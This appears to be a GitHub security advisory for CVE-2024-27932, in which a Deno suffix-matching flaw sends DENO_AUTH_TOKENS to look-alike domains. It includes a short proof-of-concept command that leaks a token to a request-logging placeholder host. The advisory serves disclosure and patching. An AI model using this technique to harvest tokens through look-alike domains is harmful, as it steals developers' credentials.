ghsa-5frw-4rwq-xhcr
Vulnerability from github
Published
2024-03-06 17:03
Modified
2024-03-21 18:25
Severity ?
Summary
Deno's improper suffix match testing for DENO_AUTH_TOKENS
Details
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com
may be sent to notexample.com
.
Details
auth_tokens.rs uses a simple ends_with check, which matches www.deno.land
to a deno.land
token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land
to deno.land
tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com
. - Run
DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain
. For example,DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com
- Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
{ "affected": [ { "package": { "ecosystem": "crates.io", "name": "deno" }, "ranges": [ { "events": [ { "introduced": "1.8.0" }, { "fixed": "1.40.4" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-27932" ], "database_specific": { "cwe_ids": [ "CWE-20" ], "github_reviewed": true, "github_reviewed_at": "2024-03-06T17:03:36Z", "nvd_published_at": "2024-03-21T02:52:21Z", "severity": "MODERATE" }, "details": "### Summary\n\nDeno improperly checks that an import specifier\u0027s hostname is equal to or a child of a token\u0027s hostname, which can cause tokens to be sent to servers they shouldn\u0027t be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n- Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.", "id": "GHSA-5frw-4rwq-xhcr", "modified": "2024-03-21T18:25:42Z", "published": "2024-03-06T17:03:36Z", "references": [ { "type": "WEB", "url": "https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27932" }, { "type": "WEB", "url": "https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b" }, { "type": "PACKAGE", "url": "https://github.com/denoland/deno" }, { "type": "WEB", "url": "https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "type": "CVSS_V3" } ], "summary": "Deno\u0027s improper suffix match testing for DENO_AUTH_TOKENS" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.